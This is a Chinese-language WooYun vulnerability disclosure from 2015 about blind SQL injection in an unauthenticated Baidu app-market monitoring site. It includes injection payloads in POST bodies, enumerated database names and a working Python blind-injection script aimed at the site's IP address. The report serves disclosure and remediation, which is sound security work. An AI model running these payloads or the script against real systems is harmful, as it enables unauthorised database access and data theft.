当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0147145

漏洞标题:百度某站存在多处SQL盲注漏洞

相关厂商:百度

漏洞作者: 星明月稀

提交时间:2015-10-16 12:13

修复时间:2015-11-30 13:22

公开时间:2015-11-30 13:22

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-16: 细节已通知厂商并且等待厂商处理中
2015-10-16: 厂商已经确认,细节仅向厂商公开
2015-10-26: 细节向核心白帽子及相关领域专家公开
2015-11-05: 细节向普通白帽子公开
2015-11-15: 细节向实习白帽子公开
2015-11-30: 细节向公众公开

简要描述:

百度某站存在多处SQL盲注漏洞

详细说明:

应用市场监控平台未授权访问:

http://220.181.163.131:8010/


注入点1:

POST http://220.181.163.131:8010/ 
authenticity_token=dRGLq14gLoKRAcIJhNFyRlQ/0kfpmONoBskjKKWrLRw=&appname=baiduSearchbox&date=2015-10-16') and length(user())=41 and ('aaa'='aaa&commit=%E7%A1%AE%E5%AE%9A


参数:date
注入点2:

POST http://220.181.163.131:8010/projects/chart
authenticity_token=dRGLq14gLoKRAcIJhNFyRlQ/0kfpmONoBskjKKWrLRw=&appname=baiduSearchbox&from_date=2015-09-26') and 1=1 and ('aaa'='aaa&to_date=2015-10-16&degree=0&qudao=zhushou360&commit=%E7%A1%AE%E5%AE%9A


参数:from_date,to_date

漏洞证明:

current user: game@cq01testingwiseh100.cq01.baidu.com
game@10.48.49.42


13个库:
available databases [13]:
[*] app_upload
[*] appCoverTime
[*] appstore
[*] basicInfo
[*] billboard
[*] information_schema
[*] mobile_res
[*] mysql
[*] opsmonitor
[*] qudaomonitor
[*] test
[*] topMonitor
[*] wpiospush_db


附验证脚本:

#encoding=utf-8
import httplib,time,string,sys,random,urllib
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36',
'Referer': 'http://220.181.163.131:8010',
}
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
print 'start to retrive MySQL user:'
user = ''
for i in range(1,42):
for payload in payloads:
conn = httplib.HTTPConnection('220.181.163.131:8010', timeout=60)
params = {
'authenticity_token': 'dRGLq14gLoKRAcIJhNFyRlQ/0kfpmONoBskjKKWrLRw=',
'appname': 'baiduSearchbox',
'commit': '%E7%A1%AE%E5%AE%9A',
'date': "2015-10-16') and ascii(mid(lower(user())from(%s)for(1)))=%s and ('aaa'='aaa" % (i, ord(payload)),
}
conn.request(method='POST',
url='http://220.181.163.131:8010/',
body = urllib.urlencode(params),
headers = headers)
html_doc = conn.getresponse().read()
conn.close()
if html_doc.find('OPPO') > 0: # True
user += payload
print '\n[Retriving]', user
break
else:
print '.',
print '\n[Done]MySQL user is', user

修复方案:

加授权,过滤转义。

版权声明:转载请注明来源 星明月稀@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-10-16 13:20

厂商回复:

感谢您对百度安全的关注

最新状态:

暂无